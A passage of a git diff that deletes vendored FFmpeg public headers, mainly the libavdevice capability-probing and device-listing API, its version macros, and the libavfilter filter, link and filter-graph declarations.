* if ((ret = avformat_alloc_output_context2(&oc, NULL, "opengl", NULL)) < 0) - * goto fail; - * if (avdevice_capabilities_create(&caps, oc, NULL) < 0) - * goto fail; - * - * //query codecs - * if (av_opt_query_ranges(&ranges, caps, "codec", AV_OPT_MULTI_COMPONENT_RANGE)) < 0) - * goto fail; - * //pick codec here and set it - * av_opt_set(caps, "codec", AV_CODEC_ID_RAWVIDEO, 0); - * - * //query format - * if (av_opt_query_ranges(&ranges, caps, "pixel_format", AV_OPT_MULTI_COMPONENT_RANGE)) < 0) - * goto fail; - * //pick format here and set it - * av_opt_set(caps, "pixel_format", AV_PIX_FMT_YUV420P, 0); - * - * //query and set more capabilities - * - * fail: - * //clean up code - * avdevice_capabilities_free(&query, oc); - * avformat_free_context(oc); - * @endcode - */ - -/** - * Structure describes device capabilities. - * - * It is used by devices in conjunction with av_device_capabilities AVOption table - * to implement capabilities probing API based on AVOption API. Should not be used directly. - */ -typedef struct AVDeviceCapabilitiesQuery { - const AVClass *av_class; - AVFormatContext *device_context; - enum AVCodecID codec; - enum AVSampleFormat sample_format; - enum AVPixelFormat pixel_format; - int sample_rate; - int channels; - int64_t channel_layout; - int window_width; - int window_height; - int frame_width; - int frame_height; - AVRational fps; -} AVDeviceCapabilitiesQuery; - -/** - * AVOption table used by devices to implement device capabilities API. Should not be used by a user. - */ -extern const AVOption av_device_capabilities[]; - -/** - * Initialize capabilities probing API based on AVOption API. - * - * avdevice_capabilities_free() must be called when query capabilities API is - * not used anymore. - * - * @param[out] caps Device capabilities data. Pointer to a NULL pointer must be passed. - * @param s Context of the device. - * @param device_options An AVDictionary filled with device-private options. - * On return this parameter will be destroyed and replaced with a dict - * containing options that were not found. May be NULL. - * The same options must be passed later to avformat_write_header() for output - * devices or avformat_open_input() for input devices, or at any other place - * that affects device-private options. - * - * @return >= 0 on success, negative otherwise. - */ -int avdevice_capabilities_create(AVDeviceCapabilitiesQuery **caps, AVFormatContext *s, - AVDictionary **device_options); - -/** - * Free resources created by avdevice_capabilities_create() - * - * @param caps Device capabilities data to be freed. - * @param s Context of the device. - */ -void avdevice_capabilities_free(AVDeviceCapabilitiesQuery **caps, AVFormatContext *s); - -/** - * Structure describes basic parameters of the device. - */ -typedef struct AVDeviceInfo { - char *device_name; /**< device name, format depends on device */ - char *device_description; /**< human friendly name */ -} AVDeviceInfo; - -/** - * List of devices. - */ -typedef struct AVDeviceInfoList { - AVDeviceInfo **devices; /**< list of autodetected devices */ - int nb_devices; /**< number of autodetected devices */ - int default_device; /**< index of default device or -1 if no default */ -} AVDeviceInfoList; - -/** - * List devices. - * - * Returns available device names and their parameters. - * - * @note: Some devices may accept system-dependent device names that cannot be - * autodetected. The list returned by this function cannot be assumed to - * be always completed. - * - * @param s device context. - * @param[out] device_list list of autodetected devices. - * @return count of autodetected devices, negative on error. - */ -int avdevice_list_devices(struct AVFormatContext *s, AVDeviceInfoList **device_list); - -/** - * Convenient function to free result of avdevice_list_devices(). - * - * @param devices device list to be freed. - */ -void avdevice_free_list_devices(AVDeviceInfoList **device_list); - -/** - * List devices. - * - * Returns available device names and their parameters. - * These are convinient wrappers for avdevice_list_devices(). - * Device context is allocated and deallocated internally. - * - * @param device device format. May be NULL if device name is set. - * @param device_name device name. May be NULL if device format is set. - * @param device_options An AVDictionary filled with device-private options. May be NULL. - * The same options must be passed later to avformat_write_header() for output - * devices or avformat_open_input() for input devices, or at any other place - * that affects device-private options. - * @param[out] device_list list of autodetected devices - * @return count of autodetected devices, negative on error. - * @note device argument takes precedence over device_name when both are set. - */ -int avdevice_list_input_sources(struct AVInputFormat *device, const char *device_name, - AVDictionary *device_options, AVDeviceInfoList **device_list); -int avdevice_list_output_sinks(struct AVOutputFormat *device, const char *device_name, - AVDictionary *device_options, AVDeviceInfoList **device_list); - -#endif /* AVDEVICE_AVDEVICE_H */ diff --git a/desktop_3230/FFmpeg/include/libavdevice/version.h b/desktop_3230/FFmpeg/include/libavdevice/version.h deleted file mode 100644 index b226a76..0000000 --- a/desktop_3230/FFmpeg/include/libavdevice/version.h +++ /dev/null @@ -1,50 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVDEVICE_VERSION_H -#define AVDEVICE_VERSION_H - -/** - * @file - * @ingroup lavd - * Libavdevice version macros - */ - -#include "libavutil/version.h" - -#define LIBAVDEVICE_VERSION_MAJOR 57 -#define LIBAVDEVICE_VERSION_MINOR 0 -#define LIBAVDEVICE_VERSION_MICRO 101 - -#define LIBAVDEVICE_VERSION_INT AV_VERSION_INT(LIBAVDEVICE_VERSION_MAJOR, \ - LIBAVDEVICE_VERSION_MINOR, \ - LIBAVDEVICE_VERSION_MICRO) -#define LIBAVDEVICE_VERSION AV_VERSION(LIBAVDEVICE_VERSION_MAJOR, \ - LIBAVDEVICE_VERSION_MINOR, \ - LIBAVDEVICE_VERSION_MICRO) -#define LIBAVDEVICE_BUILD LIBAVDEVICE_VERSION_INT - -#define LIBAVDEVICE_IDENT "Lavd" AV_STRINGIFY(LIBAVDEVICE_VERSION) - -/** - * FF_API_* defines may be placed below to indicate public API that will be - * dropped at a future version bump. The defines themselves are not part of - * the public API and may change, break or disappear at any time. - */ - -#endif /* AVDEVICE_VERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libavfilter/avfilter.h b/desktop_3230/FFmpeg/include/libavfilter/avfilter.h deleted file mode 100644 index 04bf585..0000000 --- a/desktop_3230/FFmpeg/include/libavfilter/avfilter.h +++ /dev/null @@ -1,1101 +0,0 @@ -/* - * filter layer - * Copyright (c) 2007 Bobby Bingham - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVFILTER_AVFILTER_H -#define AVFILTER_AVFILTER_H - -/** - * @file - * @ingroup lavfi - * Main libavfilter public API header - */ - -/** - * @defgroup lavfi Libavfilter - graph-based frame editing library - * @{ - */ - -#include - -#include "libavutil/attributes.h" -#include "libavutil/avutil.h" -#include "libavutil/dict.h" -#include "libavutil/frame.h" -#include "libavutil/log.h" -#include "libavutil/samplefmt.h" -#include "libavutil/pixfmt.h" -#include "libavutil/rational.h" - -#include "libavfilter/version.h" - -/** - * Return the LIBAVFILTER_VERSION_INT constant. - */ -unsigned avfilter_version(void); - -/** - * Return the libavfilter build-time configuration. - */ -const char *avfilter_configuration(void); - -/** - * Return the libavfilter license. - */ -const char *avfilter_license(void); - -typedef struct AVFilterContext AVFilterContext; -typedef struct AVFilterLink AVFilterLink; -typedef struct AVFilterPad AVFilterPad; -typedef struct AVFilterFormats AVFilterFormats; - -/** - * Get the number of elements in a NULL-terminated array of AVFilterPads (e.g. - * AVFilter.inputs/outputs). - */ -int avfilter_pad_count(const AVFilterPad *pads); - -/** - * Get the name of an AVFilterPad. - * - * @param pads an array of AVFilterPads - * @param pad_idx index of the pad in the array it; is the caller's - * responsibility to ensure the index is valid - * - * @return name of the pad_idx'th pad in pads - */ -const char *avfilter_pad_get_name(const AVFilterPad *pads, int pad_idx); - -/** - * Get the type of an AVFilterPad. - * - * @param pads an array of AVFilterPads - * @param pad_idx index of the pad in the array; it is the caller's - * responsibility to ensure the index is valid - * - * @return type of the pad_idx'th pad in pads - */ -enum AVMediaType avfilter_pad_get_type(const AVFilterPad *pads, int pad_idx); - -/** - * The number of the filter inputs is not determined just by AVFilter.inputs. - * The filter might add additional inputs during initialization depending on the - * options supplied to it. - */ -#define AVFILTER_FLAG_DYNAMIC_INPUTS (1 << 0) -/** - * The number of the filter outputs is not determined just by AVFilter.outputs. - * The filter might add additional outputs during initialization depending on - * the options supplied to it. - */ -#define AVFILTER_FLAG_DYNAMIC_OUTPUTS (1 << 1) -/** - * The filter supports multithreading by splitting frames into multiple parts - * and processing them concurrently. - */ -#define AVFILTER_FLAG_SLICE_THREADS (1 << 2) -/** - * Some filters support a generic "enable" expression option that can be used - * to enable or disable a filter in the timeline. Filters supporting this - * option have this flag set. When the enable expression is false, the default - * no-op filter_frame() function is called in place of the filter_frame() - * callback defined on each input pad, thus the frame is passed unchanged to - * the next filters. - */ -#define AVFILTER_FLAG_SUPPORT_TIMELINE_GENERIC (1 << 16) -/** - * Same as AVFILTER_FLAG_SUPPORT_TIMELINE_GENERIC, except that the filter will - * have its filter_frame() callback(s) called as usual even when the enable - * expression is false. The filter will disable filtering within the - * filter_frame() callback(s) itself, for example executing code depending on - * the AVFilterContext->is_disabled value. - */ -#define AVFILTER_FLAG_SUPPORT_TIMELINE_INTERNAL (1 << 17) -/** - * Handy mask to test whether the filter supports or no the timeline feature - * (internally or generically). - */ -#define AVFILTER_FLAG_SUPPORT_TIMELINE (AVFILTER_FLAG_SUPPORT_TIMELINE_GENERIC | AVFILTER_FLAG_SUPPORT_TIMELINE_INTERNAL) - -/** - * Filter definition. This defines the pads a filter contains, and all the - * callback functions used to interact with the filter. - */ -typedef struct AVFilter { - /** - * Filter name. Must be non-NULL and unique among filters. - */ - const char *name; - - /** - * A description of the filter. May be NULL. - * - * You should use the NULL_IF_CONFIG_SMALL() macro to define it. - */ - const char *description; - - /** - * List of inputs, terminated by a zeroed element. - * - * NULL if there are no (static) inputs. Instances of filters with - * AVFILTER_FLAG_DYNAMIC_INPUTS set may have more inputs than present in - * this list. - */ - const AVFilterPad *inputs; - /** - * List of outputs, terminated by a zeroed element. - * - * NULL if there are no (static) outputs. Instances of filters with - * AVFILTER_FLAG_DYNAMIC_OUTPUTS set may have more outputs than present in - * this list. - */ - const AVFilterPad *outputs; - - /** - * A class for the private data, used to declare filter private AVOptions. - * This field is NULL for filters that do not declare any options. - * - * If this field is non-NULL, the first member of the filter private data - * must be a pointer to AVClass, which will be set by libavfilter generic - * code to this class. - */ - const AVClass *priv_class; - - /** - * A combination of AVFILTER_FLAG_* - */ - int flags; - - /***************************************************************** - * All fields below this line are not part of the public API. They - * may not be used outside of libavfilter and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - - /** - * Filter initialization function. - * - * This callback will be called only once during the filter lifetime, after - * all the options have been set, but before links between filters are - * established and format negotiation is done. - * - * Basic filter initialization should be done here. Filters with dynamic - * inputs and/or outputs should create those inputs/outputs here based on - * provided options. No more changes to this filter's inputs/outputs can be - * done after this callback. - * - * This callback must not assume that the filter links exist or frame - * parameters are known. - * - * @ref AVFilter.uninit "uninit" is guaranteed to be called even if - * initialization fails, so this callback does not have to clean up on - * failure. - * - * @return 0 on success, a negative AVERROR on failure - */ - int (*init)(AVFilterContext *ctx); - - /** - * Should be set instead of @ref AVFilter.init "init" by the filters that - * want to pass a dictionary of AVOptions to nested contexts that are - * allocated during init. - * - * On return, the options dict should be freed and replaced with one that - * contains all the options which could not be processed by this filter (or - * with NULL if all the options were processed). - * - * Otherwise the semantics is the same as for @ref AVFilter.init "init". - */ - int (*init_dict)(AVFilterContext *ctx, AVDictionary **options); - - /** - * Filter uninitialization function. - * - * Called only once right before the filter is freed. Should deallocate any - * memory held by the filter, release any buffer references, etc. It does - * not need to deallocate the AVFilterContext.priv memory itself. - * - * This callback may be called even if @ref AVFilter.init "init" was not - * called or failed, so it must be prepared to handle such a situation. - */ - void (*uninit)(AVFilterContext *ctx); - - /** - * Query formats supported by the filter on its inputs and outputs. - * - * This callback is called after the filter is initialized (so the inputs - * and outputs are fixed), shortly before the format negotiation. This - * callback may be called more than once. - * - * This callback must set AVFilterLink.out_formats on every input link and - * AVFilterLink.in_formats on every output link to a list of pixel/sample - * formats that the filter supports on that link. For audio links, this - * filter must also set @ref AVFilterLink.in_samplerates "in_samplerates" / - * @ref AVFilterLink.out_samplerates "out_samplerates" and - * @ref AVFilterLink.in_channel_layouts "in_channel_layouts" / - * @ref AVFilterLink.out_channel_layouts "out_channel_layouts" analogously. - * - * This callback may be NULL for filters with one input, in which case - * libavfilter assumes that it supports all input formats and preserves - * them on output. - * - * @return zero on success, a negative value corresponding to an - * AVERROR code otherwise - */ - int (*query_formats)(AVFilterContext *); - - int priv_size; ///< size of private data to allocate for the filter - - /** - * Used by the filter registration system. Must not be touched by any other - * code. - */ - struct AVFilter *next; - - /** - * Make the filter instance process a command. - * - * @param cmd the command to process, for handling simplicity all commands must be alphanumeric only - * @param arg the argument for the command - * @param res a buffer with size res_size where the filter(s) can return a response. This must not change when the command is not supported. - * @param flags if AVFILTER_CMD_FLAG_FAST is set and the command would be - * time consuming then a filter should treat it like an unsupported command - * - * @returns >=0 on success otherwise an error code. - * AVERROR(ENOSYS) on unsupported commands - */ - int (*process_command)(AVFilterContext *, const char *cmd, const char *arg, char *res, int res_len, int flags); - - /** - * Filter initialization function, alternative to the init() - * callback. Args contains the user-supplied parameters, opaque is - * used for providing binary data. - */ - int (*init_opaque)(AVFilterContext *ctx, void *opaque); -} AVFilter; - -/** - * Process multiple parts of the frame concurrently. - */ -#define AVFILTER_THREAD_SLICE (1 << 0) - -typedef struct AVFilterInternal AVFilterInternal; - -/** An instance of a filter */ -struct AVFilterContext { - const AVClass *av_class; ///< needed for av_log() and filters common options - - const AVFilter *filter; ///< the AVFilter of which this is an instance - - char *name; ///< name of this filter instance - - AVFilterPad *input_pads; ///< array of input pads - AVFilterLink **inputs; ///< array of pointers to input links - unsigned nb_inputs; ///< number of input pads - - AVFilterPad *output_pads; ///< array of output pads - AVFilterLink **outputs; ///< array of pointers to output links - unsigned nb_outputs; ///< number of output pads - - void *priv; ///< private data for use by the filter - - struct AVFilterGraph *graph; ///< filtergraph this filter belongs to - - /** - * Type of multithreading being allowed/used. A combination of - * AVFILTER_THREAD_* flags. - * - * May be set by the caller before initializing the filter to forbid some - * or all kinds of multithreading for this filter. The default is allowing - * everything. - * - * When the filter is initialized, this field is combined using bit AND with - * AVFilterGraph.thread_type to get the final mask used for determining - * allowed threading types. I.e. a threading type needs to be set in both - * to be allowed. - * - * After the filter is initialized, libavfilter sets this field to the - * threading type that is actually used (0 for no multithreading). - */ - int thread_type; - - /** - * An opaque struct for libavfilter internal use. - */ - AVFilterInternal *internal; - - struct AVFilterCommand *command_queue; - - char *enable_str; ///< enable expression string - void *enable; ///< parsed expression (AVExpr*) - double *var_values; ///< variable values for the enable expression - int is_disabled; ///< the enabled state from the last expression evaluation -}; - -/** - * A link between two filters. This contains pointers to the source and - * destination filters between which this link exists, and the indexes of - * the pads involved. In addition, this link also contains the parameters - * which have been negotiated and agreed upon between the filter, such as - * image dimensions, format, etc. - */ -struct AVFilterLink { - AVFilterContext *src; ///< source filter - AVFilterPad *srcpad; ///< output pad on the source filter - - AVFilterContext *dst; ///< dest filter - AVFilterPad *dstpad; ///< input pad on the dest filter - - enum AVMediaType type; ///< filter media type - - /* These parameters apply only to video */ - int w; ///< agreed upon image width - int h; ///< agreed upon image height - AVRational sample_aspect_ratio; ///< agreed upon sample aspect ratio - /* These parameters apply only to audio */ - uint64_t channel_layout; ///< channel layout of current buffer (see libavutil/channel_layout.h) - int sample_rate; ///< samples per second - - int format; ///< agreed upon media format - - /** - * Define the time base used by the PTS of the frames/samples - * which will pass through this link. - * During the configuration stage, each filter is supposed to - * change only the output timebase, while the timebase of the - * input link is assumed to be an unchangeable property. - */ - AVRational time_base; - - /***************************************************************** - * All fields below this line are not part of the public API. They - * may not be used outside of libavfilter and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - /** - * Lists of formats and channel layouts supported by the input and output - * filters respectively. These lists are used for negotiating the format - * to actually be used, which will be loaded into the format and - * channel_layout members, above, when chosen. - * - */ - AVFilterFormats *in_formats; - AVFilterFormats *out_formats; - - /** - * Lists of channel layouts and sample rates used for automatic - * negotiation. - */ - AVFilterFormats *in_samplerates; - AVFilterFormats *out_samplerates; - struct AVFilterChannelLayouts *in_channel_layouts; - struct AVFilterChannelLayouts *out_channel_layouts; - - /** - * Audio only, the destination filter sets this to a non-zero value to - * request that buffers with the given number of samples should be sent to - * it. AVFilterPad.needs_fifo must also be set on the corresponding input - * pad. - * Last buffer before EOF will be padded with silence. - */ - int request_samples; - - /** stage of the initialization of the link properties (dimensions, etc) */ - enum { - AVLINK_UNINIT = 0, ///< not started - AVLINK_STARTINIT, ///< started, but incomplete - AVLINK_INIT ///< complete - } init_state; - - /** - * Graph the filter belongs to. - */ - struct AVFilterGraph *graph; - - /** - * Current timestamp of the link, as defined by the most recent - * frame(s), in link time_base units. - */ - int64_t current_pts; - - /** - * Current timestamp of the link, as defined by the most recent - * frame(s), in AV_TIME_BASE units. - */ - int64_t current_pts_us; - - /** - * Index in the age array. - */ - int age_index; - - /** - * Frame rate of the stream on the link, or 1/0 if unknown or variable; - * if left to 0/0, will be automatically copied from the first input - * of the source filter if it exists. - * - * Sources should set it to the best estimation of the real frame rate. - * If the source frame rate is unknown or variable, set this to 1/0. - * Filters should update it if necessary depending on their function. - * Sinks can use it to set a default output frame rate. - * It is similar to the r_frame_rate field in AVStream. - */ - AVRational frame_rate; - - /** - * Buffer partially filled with samples to achieve a fixed/minimum size. - */ - AVFrame *partial_buf; - - /** - * Size of the partial buffer to allocate. - * Must be between min_samples and max_samples. - */ - int partial_buf_size; - - /** - * Minimum number of samples to filter at once. If filter_frame() is - * called with fewer samples, it will accumulate them in partial_buf. - * This field and the related ones must not be changed after filtering - * has started. - * If 0, all related fields are ignored. - */ - int min_samples; - - /** - * Maximum number of samples to filter at once. If filter_frame() is - * called with more samples, it will split them. - */ - int max_samples; - - /** - * Link status. - * If not zero, all attempts of filter_frame or request_frame - * will fail with the corresponding code, and if necessary the reference - * will be destroyed. - * If request_frame returns an error, the status is set on the - * corresponding link. - * It can be set also be set by either the source or the destination - * filter. - */ - int status; - - /** - * Number of channels. - */ - int channels; - - /** - * Link processing flags. - */ - unsigned flags; - - /** - * Number of past frames sent through the link. - */ - int64_t frame_count; - - /** - * A pointer to a FFVideoFramePool struct. - */ - void *video_frame_pool; - - /** - * True if a frame is currently wanted on the input of this filter. - * Set when ff_request_frame() is called by the output, - * cleared when the request is handled or forwarded. - */ - int frame_wanted_in; - - /** - * True if a frame is currently wanted on the output of this filter. - * Set when ff_request_frame() is called by the output, - * cleared when a frame is filtered. - */ - int frame_wanted_out; -}; - -/** - * Link two filters together. - * - * @param src the source filter - * @param srcpad index of the output pad on the source filter - * @param dst the destination filter - * @param dstpad index of the input pad on the destination filter - * @return zero on success - */ -int avfilter_link(AVFilterContext *src, unsigned srcpad, - AVFilterContext *dst, unsigned dstpad); - -/** - * Free the link in *link, and set its pointer to NULL. - */ -void avfilter_link_free(AVFilterLink **link); - -/** - * Get the number of channels of a link. - */ -int avfilter_link_get_channels(AVFilterLink *link); - -/** - * Set the closed field of a link. - * @deprecated applications are not supposed to mess with links, they should - * close the sinks. - */ -attribute_deprecated -void avfilter_link_set_closed(AVFilterLink *link, int closed); - -/** - * Negotiate the media format, dimensions, etc of all inputs to a filter. - * - * @param filter the filter to negotiate the properties for its inputs - * @return zero on successful negotiation - */ -int avfilter_config_links(AVFilterContext *filter); - -#define AVFILTER_CMD_FLAG_ONE 1 ///< Stop once a filter understood the command (for target=all for example), fast filters are favored automatically -#define AVFILTER_CMD_FLAG_FAST 2 ///< Only execute command when its fast (like a video out that supports contrast adjustment in hw) - -/** - * Make the filter instance process a command. - * It is recommended to use avfilter_graph_send_command(). - */ -int avfilter_process_command(AVFilterContext *filter, const char *cmd, const char *arg, char *res, int res_len, int flags); - -/** Initialize the filter system. Register all builtin filters. */ -void avfilter_register_all(void); - -#if FF_API_OLD_FILTER_REGISTER -/** Uninitialize the filter system. Unregister all filters. */ -attribute_deprecated -void avfilter_uninit(void); -#endif - -/** - * Register a filter. This is only needed if you plan to use - * avfilter_get_by_name later to lookup the AVFilter structure by name. A - * filter can still by instantiated with avfilter_graph_alloc_filter even if it - * is not registered. - * - * @param filter the filter to register - * @return 0 if the registration was successful, a negative value - * otherwise - */ -int avfilter_register(AVFilter *filter); - -/** - * Get a filter definition matching the given name. - * - * @param name the filter name to find - * @return the filter definition, if any matching one is registered. - * NULL if none found. - */ -#if !FF_API_NOCONST_GET_NAME -const -#endif -AVFilter *avfilter_get_by_name(const char *name); - -/** - * Iterate over all registered filters. - * @return If prev is non-NULL, next registered filter after prev or NULL if - * prev is the last filter. If prev is NULL, return the first registered filter. - */ -const AVFilter *avfilter_next(const AVFilter *prev); - -#if FF_API_OLD_FILTER_REGISTER -/** - * If filter is NULL, returns a pointer to the first registered filter pointer, - * if filter is non-NULL, returns the next pointer after filter. - * If the returned pointer points to NULL, the last registered filter - * was already reached. - * @deprecated use avfilter_next() - */ -attribute_deprecated -AVFilter **av_filter_next(AVFilter **filter); -#endif - -#if FF_API_AVFILTER_OPEN -/** - * Create a filter instance. - * - * @param filter_ctx put here a pointer to the created filter context - * on success, NULL on failure - * @param filter the filter to create an instance of - * @param inst_name Name to give to the new instance. Can be NULL for none. - * @return >= 0 in case of success, a negative error code otherwise - * @deprecated use avfilter_graph_alloc_filter() instead - */ -attribute_deprecated -int avfilter_open(AVFilterContext **filter_ctx, AVFilter *filter, const char *inst_name); -#endif - - -#if FF_API_AVFILTER_INIT_FILTER -/** - * Initialize a filter. - * - * @param filter the filter to initialize - * @param args A string of parameters to use when initializing the filter. - * The format and meaning of this string varies by filter. - * @param opaque Any extra non-string data needed by the filter. The meaning - * of this parameter varies by filter. - * @return zero on success - */ -attribute_deprecated -int avfilter_init_filter(AVFilterContext *filter, const char *args, void *opaque); -#endif - -/** - * Initialize a filter with the supplied parameters. - * - * @param ctx uninitialized filter context to initialize - * @param args Options to initialize the filter with. This must be a - * ':'-separated list of options in the 'key=value' form. - * May be NULL if the options have been set directly using the - * AVOptions API or there are no options that need to be set. - * @return 0 on success, a negative AVERROR on failure - */ -int avfilter_init_str(AVFilterContext *ctx, const char *args); - -/** - * Initialize a filter with the supplied dictionary of options. - * - * @param ctx uninitialized filter context to initialize - * @param options An AVDictionary filled with options for this filter. On - * return this parameter will be destroyed and replaced with - * a dict containing options that were not found. This dictionary - * must be freed by the caller. - * May be NULL, then this function is equivalent to - * avfilter_init_str() with the second parameter set to NULL. - * @return 0 on success, a negative AVERROR on failure - * - * @note This function and avfilter_init_str() do essentially the same thing, - * the difference is in manner in which the options are passed. It is up to the - * calling code to choose whichever is more preferable. The two functions also - * behave differently when some of the provided options are not declared as - * supported by the filter. In such a case, avfilter_init_str() will fail, but - * this function will leave those extra options in the options AVDictionary and - * continue as usual. - */ -int avfilter_init_dict(AVFilterContext *ctx, AVDictionary **options); - -/** - * Free a filter context. This will also remove the filter from its - * filtergraph's list of filters. - * - * @param filter the filter to free - */ -void avfilter_free(AVFilterContext *filter); - -/** - * Insert a filter in the middle of an existing link. - * - * @param link the link into which the filter should be inserted - * @param filt the filter to be inserted - * @param filt_srcpad_idx the input pad on the filter to connect - * @param filt_dstpad_idx the output pad on the filter to connect - * @return zero on success - */ -int avfilter_insert_filter(AVFilterLink *link, AVFilterContext *filt, - unsigned filt_srcpad_idx, unsigned filt_dstpad_idx); - -/** - * @return AVClass for AVFilterContext. - * - * @see av_opt_find(). - */ -const AVClass *avfilter_get_class(void); - -typedef struct AVFilterGraphInternal AVFilterGraphInternal; - -/** - * A function pointer passed to the @ref AVFilterGraph.execute callback to be - * executed multiple times, possibly in parallel. - * - * @param ctx the filter context the job belongs to - * @param arg an opaque parameter passed through from @ref - * AVFilterGraph.execute - * @param jobnr the index of the job being executed - * @param nb_jobs the total number of jobs - * - * @return 0 on success, a negative AVERROR on error - */ -typedef int (avfilter_action_func)(AVFilterContext *ctx, void *arg, int jobnr, int nb_jobs); - -/** - * A function executing multiple jobs, possibly in parallel. - * - * @param ctx the filter context to which the jobs belong - * @param func the function to be called multiple times - * @param arg the argument to be passed to func - * @param ret a nb_jobs-sized array to be filled with return values from each - * invocation of func - * @param nb_jobs the number of jobs to execute - * - * @return 0 on success, a negative AVERROR on error - */ -typedef int (avfilter_execute_func)(AVFilterContext *ctx, avfilter_action_func *func, - void *arg, int *ret, int nb_jobs); - -typedef struct AVFilterGraph { - const AVClass *av_class; - AVFilterContext **filters; - unsigned nb_filters; - - char *scale_sws_opts; ///< sws options to use for the auto-inserted scale filters - char *resample_lavr_opts; ///< libavresample options to use for the auto-inserted resample filters - - /** - * Type of multithreading allowed for filters in this graph. A combination - * of AVFILTER_THREAD_* flags. - * - * May be set by the caller at any point, the setting will apply to all - * filters initialized after that. The default is allowing everything. - * - * When a filter in this graph is initialized, this field is combined using - * bit AND with AVFilterContext.thread_type to get the final mask used for - * determining allowed threading types. I.e. a threading type needs to be - * set in both to be allowed. - */ - int thread_type; - - /** - * Maximum number of threads used by filters in this graph. May be set by - * the caller before adding any filters to the filtergraph. Zero (the - * default) means that the number of threads is determined automatically. - */ - int nb_threads; - - /** - * Opaque object for libavfilter internal use. - */ - AVFilterGraphInternal *internal; - - /** - * Opaque user data. May be set by the caller to an arbitrary value, e.g. to - * be used from callbacks like @ref AVFilterGraph.execute. - * Libavfilter will not touch this field in any way. - */ - void *opaque; - - /** - * This callback may be set by the caller immediately after allocating the - * graph and before adding any filters to it, to provide a custom - * multithreading implementation. - * - * If set, filters with slice threading capability will call this callback - * to execute multiple jobs in parallel. - * - * If this field is left unset, libavfilter will use its internal - * implementation, which may or may not be multithreaded depending on the - * platform and build options. - */ - avfilter_execute_func *execute; - - char *aresample_swr_opts; ///< swr options to use for the auto-inserted aresample filters, Access ONLY through AVOptions - - /** - * Private fields - * - * The following fields are for internal use only. - * Their type, offset, number and semantic can change without notice. - */ - - AVFilterLink **sink_links; - int sink_links_count; - - unsigned disable_auto_convert; -} AVFilterGraph; - -/** - * Allocate a filter graph. - * - * @return the allocated filter graph on success or NULL. - */ -AVFilterGraph *avfilter_graph_alloc(void); - -/** - * Create a new filter instance in a filter graph. - * - * @param graph graph in which the new filter will be used - * @param filter the filter to create an instance of - * @param name Name to give to the new instance (will be copied to - * AVFilterContext.name). This may be used by the caller to identify - * different filters, libavfilter itself assigns no semantics to - * this parameter. May be NULL. - * - * @return the context of the newly created filter instance (note that it is - * also retrievable directly through AVFilterGraph.filters or with - * avfilter_graph_get_filter()) on success or NULL on failure. - */ -AVFilterContext *avfilter_graph_alloc_filter(AVFilterGraph *graph, - const AVFilter *filter, - const char *name); - -/** - * Get a filter instance identified by instance name from graph. - * - * @param graph filter graph to search through. - * @param name filter instance name (should be unique in the graph). - * @return the pointer to the found filter instance or NULL if it - * cannot be found. - */ -AVFilterContext *avfilter_graph_get_filter(AVFilterGraph *graph, const char *name); - -#if FF_API_AVFILTER_OPEN -/** - * Add an existing filter instance to a filter graph. - * - * @param graphctx the filter graph - * @param filter the filter to be added - * - * @deprecated use avfilter_graph_alloc_filter() to allocate a filter in a - * filter graph - */ -attribute_deprecated -int avfilter_graph_add_filter(AVFilterGraph *graphctx, AVFilterContext *filter); -#endif - -/** - * Create and add a filter instance into an existing graph. - * The filter instance is created from the filter filt and inited - * with the parameters args and opaque. - * - * In case of success put in *filt_ctx the pointer to the created - * filter instance, otherwise set *filt_ctx to NULL. - * - * @param name the instance name to give to the created filter instance - * @param graph_ctx the filter graph - * @return a negative AVERROR error code in case of failure, a non - * negative value otherwise - */ -int avfilter_graph_create_filter(AVFilterContext **filt_ctx, const AVFilter *filt, - const char *name, const char *args, void *opaque, - AVFilterGraph *graph_ctx); - -/** - * Enable or disable automatic format conversion inside the graph. - * - * Note that format conversion can still happen inside explicitly inserted - * scale and aresample filters. - * - * @param flags any of the AVFILTER_AUTO_CONVERT_* constants - */ -void avfilter_graph_set_auto_convert(AVFilterGraph *graph, unsigned flags); - -enum { - AVFILTER_AUTO_CONVERT_ALL = 0, /**< all automatic conversions enabled */ - AVFILTER_AUTO_CONVERT_NONE = -1, /**< all automatic conversions disabled */ -}; - -/** - * Check validity and configure all the links and formats in the graph. - * - * @param graphctx the filter graph - * @param log_ctx context used for logging - * @return >= 0 in case of success, a negative AVERROR code otherwise - */ -int avfilter_graph_config(AVFilterGraph *graphctx, void *log_ctx); - -/** - * Free a graph, destroy its links, and set *graph to NULL. - * If *graph is NULL, do nothing. - */ -void avfilter_graph_free(AVFilterGraph **graph); - -/** - * A linked-list of the inputs/outputs of the filter chain. - * - * This is mainly useful for avfilter_graph_parse() / avfilter_graph_parse2(), - * where it is used to communicate open (unlinked) inputs and outputs from and - * to the caller. - * This struct specifies, per each not connected pad contained in the graph, the - * filter context and the pad index required for establishing a link. - */ -typedef struct AVFilterInOut { - /** unique name for this input/output in the list */ - char *name; - - /** filter context associated to this input/output */ - AVFilterContext *filter_ctx; - - /** index of the filt_ctx pad to use for linking */ - int pad_idx; - - /** next input/input in the list, NULL if this is the last */ - struct AVFilterInOut *next; -} AVFilterInOut; - -/** - * Allocate a single AVFilterInOut entry. - * Must be freed with avfilter_inout_free(). - * @return 